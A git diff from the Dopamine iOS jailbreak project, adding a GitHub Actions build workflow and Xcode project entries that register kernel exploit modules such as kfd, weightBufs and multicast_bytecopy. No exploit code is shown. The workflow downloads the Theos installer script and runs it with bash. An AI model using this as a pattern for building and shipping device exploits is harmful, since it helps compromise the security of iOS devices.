diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml new file mode 100644 index 0000000000..cb1f331ccf --- /dev/null +++ b/.github/workflows/main.yml @@ -0,0 +1,108 @@ +name: "Dopamine: build and upload" + +on: + push: + branches: + - '*' + paths-ignore: + - ".gitignore" + pull_request: + branches: + - '*' + paths-ignore: + - ".gitignore" + workflow_dispatch: + schedule: + - cron: '0 0 1 1 *' + - cron: '0 0 1 4 *' + - cron: '0 0 30 6 *' + - cron: '0 0 28 9 *' + - cron: '0 0 27 12 *' + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + build: + runs-on: macos-latest + steps: + - name: Xcode Setup + uses: maxim-lobanov/setup-xcode@v1 + with: + xcode-version: latest-stable + + - name: Checkout + uses: actions/checkout@main + with: + submodules: recursive + + - name: Install Procursus + uses: dhinakg/procursus-action@main + with: + packages: ldid findutils sed coreutils make + + - name: Install better GNU Make + run: | + brew install make + echo "PATH=$(brew --prefix make)/libexec/gnubin:$PATH" >> $GITHUB_ENV + + - name: Install THEOS + run: | + set -x + export BASEDIR="$(pwd)" + export THEOS="${BASEDIR}/theos" + mkdir -p $THEOS + curl -fsSL https://raw.githubusercontent.com/theos/theos/master/bin/install-theos >> install-theos.sh + gsed -E "/^\s*get_theos\s*$/,+1 s/^(\s*)(get_sdks)\s*$/\1mkdir -p \${THEOS}\/sdks\n\1touch \${THEOS}\/sdks\/sdk\n\1\2/g" -i install-theos.sh + bash install-theos.sh + curl -L https://github.com/theos/sdks/releases/latest/download/iPhoneOS16.5.sdk.tar.xz --output $THEOS/sdks/iPhoneOS16.5.sdk.tar.xz + gunzip $THEOS/sdks/iPhoneOS16.5.sdk.tar.xz + tar -xf $THEOS/sdks/iPhoneOS16.5.sdk.tar -C $THEOS/sdks + rm $THEOS/sdks/iPhoneOS16.5.sdk.tar + cd $BASEDIR + + - name: Build and Install trustcache + run: | + set -x + git clone https://github.com/CRKatri/trustcache + cd trustcache + export CFLAGS="$CFLAGS -I$(brew --prefix openssl)/include -arch arm64" + export LDFLAGS="$LDFLAGS -L$(brew --prefix openssl)/lib -arch arm64" + gmake -j$(sysctl -n hw.logicalcpu) OPENSSL=1 + sudo cp trustcache /opt/procursus/bin/ + + - name: Set Environment Variables + run: | + set -x + T2=$(TZ=UTC-2 date +'%Y%m%d_%H%M%S') + TS=$(date -j -f "%Y%m%d_%H%M%S" "${T2}" +%s) + SHASH=$(git rev-parse --short HEAD) + echo "ctime=${T2}" >> $GITHUB_ENV + echo "ctimestamp=${TS}" >> $GITHUB_ENV + echo "shorthash=${SHASH}" >> $GITHUB_ENV + + - name: Install libarchive + run: | + brew install libarchive + + - name: Download Bootstraps + run: | + set -x + cd Application/Dopamine/Resources + ./download_bootstraps.sh + + - name: Build + run: | + set -x + export BASEDIR="$(pwd)" + export THEOS="${BASEDIR}/theos" + gmake -j$(sysctl -n hw.logicalcpu) NIGHTLY=1 + + - name: Upload Artifact + id: dopamine-latest-upload + uses: actions/upload-artifact@main + with: + name: Dopamine + path: | + ${{ github.workspace }}/Application/Dopamine.ipa \ No newline at end of file diff --git a/.gitignore b/.gitignore index 385b5aa869..bf448370b6 100644 --- a/.gitignore +++ b/.gitignore @@ -2,13 +2,12 @@ /.build /*.xcodeproj xcuserdata/ +xcshareddata/ DerivedData/ .swiftpm/xcode/ /Package.resolved -/Server/orig.ipa -/Server/serverCert/fullchain.cer -/Server/serverCert/server.key Dopamine/Dopamine/bootstrap/tmp/ +Application/Payload .idea Tools/fastPathSign/.build_* Exploits/kfd/kfd.framework/kfd \ No newline at end of file diff --git a/.gitmodules b/.gitmodules index a43e3bde98..763b93397d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -10,3 +10,6 @@ [submodule "BaseBin/opainject"] path = BaseBin/opainject url = https://github.com/opa334/opainject +[submodule "BaseBin/_external/modules/litehook"] + path = BaseBin/_external/modules/litehook + url = https://github.com/opa334/litehook diff --git a/Application/Dopamine.xcodeproj/project.pbxproj b/Application/Dopamine.xcodeproj/project.pbxproj index d9859ff230..48282941a0 100644 --- a/Application/Dopamine.xcodeproj/project.pbxproj +++ b/Application/Dopamine.xcodeproj/project.pbxproj @@ -7,7 +7,7 @@ objects = { /* Begin PBXBuildFile section */ - 042479A12B66916B0082581B /* Settings.plist in Resources */ = {isa = PBXBuildFile; fileRef = 0424796A2B66916B0082581B /* Settings.plist */; }; + 040622AA2B77FE8E00393AAD /* DOPkgManagerPickerViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 040622A92B77FE8E00393AAD /* DOPkgManagerPickerViewController.m */; }; 042479A22B66916B0082581B /* DOCreditsViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424796B2B66916B0082581B /* DOCreditsViewController.m */; }; 042479A32B66916B0082581B /* DOSettingsController.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424796C2B66916B0082581B /* DOSettingsController.m */; }; 042479A42B66916B0082581B /* Credits.plist in Resources */ = {isa = PBXBuildFile; fileRef = 0424796F2B66916B0082581B /* Credits.plist */; }; @@ -16,8 +16,8 @@ 042479A72B66916B0082581B /* DOButtonCell.m in Sources */ = {isa = PBXBuildFile; fileRef = 042479772B66916B0082581B /* DOButtonCell.m */; }; 042479A82B66916B0082581B /* DOPSListController.m in Sources */ = {isa = PBXBuildFile; fileRef = 042479782B66916B0082581B /* DOPSListController.m */; }; 042479A92B66916B0082581B /* DOModalBackAction.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424797C2B66916B0082581B /* DOModalBackAction.m */; }; - 042479AA2B66916B0082581B /* DOModalTransitionPop.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424797D2B66916B0082581B /* DOModalTransitionPop.m */; }; - 042479AB2B66916B0082581B /* DOModalTransitionPush.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424797E2B66916B0082581B /* DOModalTransitionPush.m */; }; + 042479AA2B66916B0082581B /* DOModalTransitionPush.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424797D2B66916B0082581B /* DOModalTransitionPush.m */; }; + 042479AB2B66916B0082581B /* DOModalTransitionScale.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424797E2B66916B0082581B /* DOModalTransitionScale.m */; }; 042479AC2B66916B0082581B /* DOJailbreakButton.m in Sources */ = {isa = PBXBuildFile; fileRef = 042479862B66916B0082581B /* DOJailbreakButton.m */; }; 042479AD2B66916B0082581B /* DOHeaderView.m in Sources */ = {isa = PBXBuildFile; fileRef = 042479872B66916B0082581B /* DOHeaderView.m */; }; 042479AE2B66916B0082581B /* DOUIManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 042479882B66916B0082581B /* DOUIManager.m */; }; @@ -31,13 +31,29 @@ 042479B62B66916B0082581B /* DOActionMenuButton.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424799A2B66916B0082581B /* DOActionMenuButton.m */; }; 042479B72B66916B0082581B /* DOActionMenuView.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424799D2B66916B0082581B /* DOActionMenuView.m */; }; 042479B82B66916B0082581B /* DOMainViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 0424799F2B66916B0082581B /* DOMainViewController.m */; }; - 042479B92B66916B0082581B /* GlobalAppearance.m in Sources */ = {isa = PBXBuildFile; fileRef = 042479A02B66916B0082581B /* GlobalAppearance.m */; }; + 042479B92B66916B0082581B /* DOGlobalAppearance.m in Sources */ = {isa = PBXBuildFile; fileRef = 042479A02B66916B0082581B /* DOGlobalAppearance.m */; }; 042479E52B66B0DD0082581B /* Preferences.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 042479E42B66B0DD0082581B /* Preferences.framework */; }; - 8C029F432B4DFD5D0071DE58 /* ExploitManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F422B4DFD5D0071DE58 /* ExploitManager.m */; }; - 8C029F462B4DFD910071DE58 /* Bootstrapper.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F452B4DFD910071DE58 /* Bootstrapper.m */; }; - 8C029F4E2B4E1FF30071DE58 /* Exploit.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F4D2B4E1FF30071DE58 /* Exploit.m */; }; - 8C029F602B4E25350071DE58 /* EnvironmentManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F5F2B4E25350071DE58 /* EnvironmentManager.m */; }; - 8C029F632B4E2E140071DE58 /* Jailbreaker.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F622B4E2E140071DE58 /* Jailbreaker.m */; }; + 0443A9B12B79D9C10014C933 /* DOPSListItemsController.m in Sources */ = {isa = PBXBuildFile; fileRef = 0443A9AF2B79D9C10014C933 /* DOPSListItemsController.m */; }; + 04C2469C2B73220400E17924 /* DOUpdateViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 04C246982B73220400E17924 /* DOUpdateViewController.m */; }; + 04C2469D2B73220400E17924 /* DOUpdateCircleView.m in Sources */ = {isa = PBXBuildFile; fileRef = 04C246992B73220400E17924 /* DOUpdateCircleView.m */; }; + 04C246A12B73225800E17924 /* DODownloadViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 04C246A02B73225800E17924 /* DODownloadViewController.m */; }; + 04C246AE2B74ACA200E17924 /* DOAppSwitch.m in Sources */ = {isa = PBXBuildFile; fileRef = 04C246AD2B74ACA200E17924 /* DOAppSwitch.m */; }; + 04C246B12B74B05800E17924 /* DOPkgManagerPickerView.m in Sources */ = {isa = PBXBuildFile; fileRef = 04C246B02B74B05800E17924 /* DOPkgManagerPickerView.m */; }; + 04C246B32B74B65900E17924 /* PkgManagers.plist in Resources */ = {isa = PBXBuildFile; fileRef = 04C246B22B74B65900E17924 /* PkgManagers.plist */; }; + 04DD0B352B7BA38C0055DE4F /* DOLicenseViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 04DD0B342B7BA38C0055DE4F /* DOLicenseViewController.m */; }; + 04DD0B372B7BA6180055DE4F /* LICENSE.md in Resources */ = {isa = PBXBuildFile; fileRef = 04DD0B362B7BA6180055DE4F /* LICENSE.md */; }; + 04DD0B3A2B7BF3E80055DE4F /* LICENSE_libc.md in Resources */ = {isa = PBXBuildFile; fileRef = 04DD0B392B7BF3E80055DE4F /* LICENSE_libc.md */; }; + 04DD0B3D2B7C88210055DE4F /* DOLogCrashViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 04DD0B3C2B7C88210055DE4F /* DOLogCrashViewController.m */; }; + 04DD0B402B7CBD3D0055DE4F /* Themes.plist in Resources */ = {isa = PBXBuildFile; fileRef = 04DD0B3F2B7CBD3D0055DE4F /* Themes.plist */; }; + 04DD0B442B7CBE2E0055DE4F /* DOThemeManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 04DD0B432B7CBE2E0055DE4F /* DOThemeManager.m */; }; + 04DD0B472B7CBEEA0055DE4F /* DOTheme.m in Sources */ = {isa = PBXBuildFile; fileRef = 04DD0B462B7CBEEA0055DE4F /* DOTheme.m */; }; + 04DD0B592B7D19E60055DE4F /* Localizable.strings in Resources */ = {isa = PBXBuildFile; fileRef = 04DD0B5B2B7D19E60055DE4F /* Localizable.strings */; }; + 51F19D052BBF456200896361 /* libpartial.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 51AB98D92BBF44390042EA7B /* libpartial.a */; }; + 8C029F432B4DFD5D0071DE58 /* DOExploitManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F422B4DFD5D0071DE58 /* DOExploitManager.m */; }; + 8C029F462B4DFD910071DE58 /* DOBootstrapper.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F452B4DFD910071DE58 /* DOBootstrapper.m */; }; + 8C029F4E2B4E1FF30071DE58 /* DOExploit.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F4D2B4E1FF30071DE58 /* DOExploit.m */; }; + 8C029F602B4E25350071DE58 /* DOEnvironmentManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F5F2B4E25350071DE58 /* DOEnvironmentManager.m */; }; + 8C029F632B4E2E140071DE58 /* DOJailbreaker.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C029F622B4E2E140071DE58 /* DOJailbreaker.m */; }; 8C029F662B4E2E970071DE58 /* libcompression.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C029F652B4E2E7D0071DE58 /* libcompression.tbd */; }; 8C029F682B4E31D50071DE58 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C029F672B4E31D50071DE58 /* libMobileGestalt.tbd */; }; 8C029F6B2B4E320E0071DE58 /* libz.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C029F6A2B4E320E0071DE58 /* libz.tbd */; }; @@ -45,6 +61,8 @@ 8C05B0142B6315DB001A7CF3 /* badRecovery.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C05B0132B6315DB001A7CF3 /* badRecovery.m */; }; 8C05B0152B631738001A7CF3 /* badRecovery.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 8C05B0032B63152B001A7CF3 /* badRecovery.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; 8C05B0182B632925001A7CF3 /* badRecovery.s in Sources */ = {isa = PBXBuildFile; fileRef = 8C05B0172B632925001A7CF3 /* badRecovery.s */; }; + 8C05C59F2B75A1770097A931 /* bootstrap_1800.tar.zst in Resources */ = {isa = PBXBuildFile; fileRef = 8C05C59E2B759F8A0097A931 /* bootstrap_1800.tar.zst */; }; + 8C05C5A02B75A17A0097A931 /* bootstrap_1900.tar.zst in Resources */ = {isa = PBXBuildFile; fileRef = 8C05C59D2B759F8A0097A931 /* bootstrap_1900.tar.zst */; }; 8C2131912B50CA4B008E682C /* krkw.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C2131782B50CA4B008E682C /* krkw.h */; }; 8C2131922B50CA4B008E682C /* kread_sem_open.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C21317B2B50CA4B008E682C /* kread_sem_open.h */; }; 8C2131932B50CA4B008E682C /* kread_IOSurface.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C21317C2B50CA4B008E682C /* kread_IOSurface.h */; }; @@ -63,37 +81,121 @@ 8C2131A12B50CA4B008E682C /* perf.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C21318E2B50CA4B008E682C /* perf.h */; }; 8C2131A22B50CA4B008E682C /* info.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C21318F2B50CA4B008E682C /* info.h */; }; 8C2131A32B50CA4B008E682C /* libkfd.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C2131902B50CA4B008E682C /* libkfd.h */; }; + 8C2875212BD850B4008B24DA /* LICENSE_libgrabkernel2.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C2875202BD850B4008B24DA /* LICENSE_libgrabkernel2.md */; }; + 8C296BAC2BE049E4007C2AD1 /* DOPSExploitListItemsController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C296BAB2BE049E4007C2AD1 /* DOPSExploitListItemsController.m */; }; + 8C296BAE2BE05914007C2AD1 /* LICENSE_plooshinit.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C296BAD2BE05914007C2AD1 /* LICENSE_plooshinit.md */; }; 8C2B1FEA2B53238D009BA166 /* libjailbreak.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08422B4F6DD800A32B61 /* libjailbreak.dylib */; platformFilter = ios; }; 8C2B1FF02B5324DE009BA166 /* dmaFail.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C2B1FEF2B5324DE009BA166 /* dmaFail.h */; }; 8C2B1FF42B53492B009BA166 /* dmaFail.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 8C2B1FDF2B532374009BA166 /* dmaFail.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; 8C2B1FF52B534C2F009BA166 /* dmaFail.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C2B1FF12B53251E009BA166 /* dmaFail.c */; }; 8C46D7252B588973002899DB /* libzstd in Frameworks */ = {isa = PBXBuildFile; productRef = 8C46D7242B588973002899DB /* libzstd */; }; - 8C46D7282B58B23D002899DB /* tar.dylib in Embed Libraries */ = {isa = PBXBuildFile; fileRef = 8C46D7262B58A029002899DB /* tar.dylib */; settings = {ATTRIBUTES = (CodeSignOnCopy, ); }; }; 8C4ABEB62B52094100B43C9B /* libjailbreak.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08422B4F6DD800A32B61 /* libjailbreak.dylib */; }; 8C4ABEB92B520E7B00B43C9B /* libjailbreak.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08422B4F6DD800A32B61 /* libjailbreak.dylib */; platformFilter = ios; }; - 8C4ABEBE2B52274300B43C9B /* PreferenceManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4ABEBD2B52274300B43C9B /* PreferenceManager.m */; }; - 8C512B902B5C9F8F00C6F14A /* libjbdrw.deb in Resources */ = {isa = PBXBuildFile; fileRef = 8C512B8A2B5C9DE800C6F14A /* libjbdrw.deb */; }; + 8C4ABEBE2B52274300B43C9B /* DOPreferenceManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4ABEBD2B52274300B43C9B /* DOPreferenceManager.m */; }; 8C512B912B5C9F9100C6F14A /* sileo.deb in Resources */ = {isa = PBXBuildFile; fileRef = 8C512B8B2B5C9DE800C6F14A /* sileo.deb */; }; 8C512B922B5C9F9400C6F14A /* zebra.deb in Resources */ = {isa = PBXBuildFile; fileRef = 8C512B8C2B5C9DE800C6F14A /* zebra.deb */; }; - 8C71981A2ABF0E82003C6658 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C7198192ABF0E82003C6658 /* AppDelegate.m */; }; - 8C71981D2ABF0E82003C6658 /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C71981C2ABF0E82003C6658 /* SceneDelegate.m */; }; + 8C56D4BF2B7C0DF2001C03D3 /* LICENSE_ChOma.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4B82B7C0DF2001C03D3 /* LICENSE_ChOma.md */; }; + 8C56D4C02B7C0DF2001C03D3 /* LICENSE_Fugu15_Rootful.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4B92B7C0DF2001C03D3 /* LICENSE_Fugu15_Rootful.md */; }; + 8C56D4C12B7C0DF2001C03D3 /* LICENSE_dimentio.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4BA2B7C0DF2001C03D3 /* LICENSE_dimentio.md */; }; + 8C56D4C22B7C0DF2001C03D3 /* LICENSE_Fugu15.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4BB2B7C0DF2001C03D3 /* LICENSE_Fugu15.md */; }; + 8C56D4C32B7C0DF2001C03D3 /* LICENSE_ElleKit.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4BC2B7C0DF2001C03D3 /* LICENSE_ElleKit.md */; }; + 8C56D4C42B7C0DF2001C03D3 /* LICENSE_XPF.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4BD2B7C0DF2001C03D3 /* LICENSE_XPF.md */; }; + 8C56D4C52B7C0DF2001C03D3 /* LICENSE_opainject.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4BE2B7C0DF2001C03D3 /* LICENSE_opainject.md */; }; + 8C56D4C92B7C102B001C03D3 /* LICENSE_Sileo.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4C62B7C102B001C03D3 /* LICENSE_Sileo.md */; }; + 8C56D4CA2B7C102B001C03D3 /* LICENSE_Procursus.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4C72B7C102B001C03D3 /* LICENSE_Procursus.md */; }; + 8C56D4CB2B7C102B001C03D3 /* LICENSE_Zebra.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4C82B7C102B001C03D3 /* LICENSE_Zebra.md */; }; + 8C56D4CD2B7C118B001C03D3 /* LICENSE_kfd.md in Resources */ = {isa = PBXBuildFile; fileRef = 8C56D4CC2B7C118B001C03D3 /* LICENSE_kfd.md */; }; + 8C58E5592B7EAF8000E3ADAA /* CoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C58E5582B7EAF8000E3ADAA /* CoreServices.framework */; }; + 8C5FA8D72BDD36B6008C246F /* weightBufs.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8D62BDD36B6008C246F /* weightBufs.h */; settings = {ATTRIBUTES = (Public, ); }; }; + 8C5FA8DB2BDD36B6008C246F /* weightBufs.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 8C5FA8D42BDD36B6008C246F /* weightBufs.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; + 8C5FA8E72BDD36BF008C246F /* multicast_bytecopy.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8E62BDD36BF008C246F /* multicast_bytecopy.h */; settings = {ATTRIBUTES = (Public, ); }; }; + 8C5FA8EB2BDD36BF008C246F /* multicast_bytecopy.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 8C5FA8E42BDD36BF008C246F /* multicast_bytecopy.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; + 8C5FA8F22BDD439A008C246F /* weightBufs.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA8F12BDD439A008C246F /* weightBufs.m */; }; + 8C5FA8F62BDD4480008C246F /* multicast_bytecopy.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA8F32BDD43A9008C246F /* multicast_bytecopy.m */; }; + 8C5FA91A2BDD47D5008C246F /* iokit.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8F82BDD47D4008C246F /* iokit.h */; }; + 8C5FA91B2BDD47D5008C246F /* model_tmp.hwx in Resources */ = {isa = PBXBuildFile; fileRef = 8C5FA8F92BDD47D4008C246F /* model_tmp.hwx */; }; + 8C5FA91C2BDD47D5008C246F /* _ANEClient.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8FA2BDD47D4008C246F /* _ANEClient.h */; }; + 8C5FA91D2BDD47D5008C246F /* _ANECloneHelper.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8FB2BDD47D4008C246F /* _ANECloneHelper.h */; }; + 8C5FA91E2BDD47D5008C246F /* _ANEDaemonConnection.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8FC2BDD47D4008C246F /* _ANEDaemonConnection.h */; }; + 8C5FA91F2BDD47D5008C246F /* _ANEDaemonProtocol.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8FD2BDD47D4008C246F /* _ANEDaemonProtocol.h */; }; + 8C5FA9202BDD47D5008C246F /* _ANEDataReporter.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8FE2BDD47D4008C246F /* _ANEDataReporter.h */; }; + 8C5FA9212BDD47D5008C246F /* _ANEDeviceController.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA8FF2BDD47D4008C246F /* _ANEDeviceController.h */; }; + 8C5FA9222BDD47D5008C246F /* _ANEDeviceInfo.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9002BDD47D4008C246F /* _ANEDeviceInfo.h */; }; + 8C5FA9232BDD47D5008C246F /* _ANEErrors.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9012BDD47D4008C246F /* _ANEErrors.h */; }; + 8C5FA9242BDD47D5008C246F /* _ANEHashEncoding.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9022BDD47D4008C246F /* _ANEHashEncoding.h */; }; + 8C5FA9252BDD47D5008C246F /* _ANEIOSurfaceObject.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9032BDD47D4008C246F /* _ANEIOSurfaceObject.h */; }; + 8C5FA9262BDD47D5008C246F /* _ANELog.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9042BDD47D4008C246F /* _ANELog.h */; }; + 8C5FA9272BDD47D5008C246F /* _ANEModel.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9052BDD47D4008C246F /* _ANEModel.h */; }; + 8C5FA9282BDD47D5008C246F /* _ANEPerformanceStats.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9062BDD47D4008C246F /* _ANEPerformanceStats.h */; }; + 8C5FA9292BDD47D5008C246F /* _ANEProgramForEvaluation.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9072BDD47D4008C246F /* _ANEProgramForEvaluation.h */; }; + 8C5FA92A2BDD47D5008C246F /* _ANEQoSMapper.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9082BDD47D4008C246F /* _ANEQoSMapper.h */; }; + 8C5FA92B2BDD47D5008C246F /* _ANERequest.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9092BDD47D4008C246F /* _ANERequest.h */; }; + 8C5FA92C2BDD47D5008C246F /* _ANEStrings.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA90A2BDD47D4008C246F /* _ANEStrings.h */; }; + 8C5FA92D2BDD47D5008C246F /* AppleNeuralEngine-Structs.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA90B2BDD47D4008C246F /* AppleNeuralEngine-Structs.h */; }; + 8C5FA92E2BDD47D5008C246F /* AppleNeuralEngine.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA90C2BDD47D4008C246F /* AppleNeuralEngine.h */; }; + 8C5FA92F2BDD47D5008C246F /* NSCopying.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA90D2BDD47D4008C246F /* NSCopying.h */; }; + 8C5FA9302BDD47D5008C246F /* NSSecureCoding.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA90E2BDD47D4008C246F /* NSSecureCoding.h */; }; + 8C5FA9312BDD47D5008C246F /* aneProgram.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9102BDD47D4008C246F /* aneProgram.h */; }; + 8C5FA9322BDD47D5008C246F /* IOSurface.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9112BDD47D4008C246F /* IOSurface.c */; }; + 8C5FA9332BDD47D5008C246F /* exploit.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9122BDD47D4008C246F /* exploit.h */; }; + 8C5FA9342BDD47D5008C246F /* ANEDirectIn.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9132BDD47D4008C246F /* ANEDirectIn.h */; }; + 8C5FA9352BDD47D5008C246F /* exploit.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9142BDD47D4008C246F /* exploit.m */; }; + 8C5FA9362BDD47D5008C246F /* ANEDirectIn.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9152BDD47D4008C246F /* ANEDirectIn.c */; }; + 8C5FA9372BDD47D5008C246F /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9162BDD47D4008C246F /* IOGPU.c */; }; + 8C5FA9382BDD47D5008C246F /* utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9172BDD47D5008C246F /* utils.c */; }; + 8C5FA9392BDD47D5008C246F /* IOSurface.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9182BDD47D5008C246F /* IOSurface.h */; }; + 8C5FA93A2BDD47D5008C246F /* IOGPU.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9192BDD47D5008C246F /* IOGPU.h */; }; + 8C5FA93B2BDD4F98008C246F /* libjailbreak.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08422B4F6DD800A32B61 /* libjailbreak.dylib */; platformFilter = ios; }; + 8C5FA93C2BDD4F9D008C246F /* libjailbreak.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 8CDD08422B4F6DD800A32B61 /* libjailbreak.dylib */; platformFilter = ios; }; + 8C5FA9402BDD5039008C246F /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C5FA93F2BDD5039008C246F /* IOKit.framework */; }; + 8C5FA9422BDD503D008C246F /* IOSurface.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C5FA9412BDD503D008C246F /* IOSurface.framework */; }; + 8C5FA9442BDD5062008C246F /* CoreML.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C5FA9432BDD5062008C246F /* CoreML.framework */; }; + 8C5FA95A2BDD6C0C008C246F /* IOSurfaceRoot.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9462BDD6C0B008C246F /* IOSurfaceRoot.c */; }; + 8C5FA95B2BDD6C0C008C246F /* mcast.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9472BDD6C0B008C246F /* mcast.h */; }; + 8C5FA95C2BDD6C0C008C246F /* necp.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA9482BDD6C0B008C246F /* necp.h */; }; + 8C5FA95D2BDD6C0C008C246F /* port_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA9492BDD6C0B008C246F /* port_utils.c */; }; + 8C5FA95E2BDD6C0C008C246F /* IOSurfaceRoot.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C5FA94A2BDD6C0B008C246F /* IOSurfaceRoot.h */; }; + 8C5FA95F2BDD6C0C008C246F /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 8C5FA94B2BDD6C0B008C246F /* necp.c */; }; + 8C5FA9602BDD6C0C008C246F /* port_utils.h 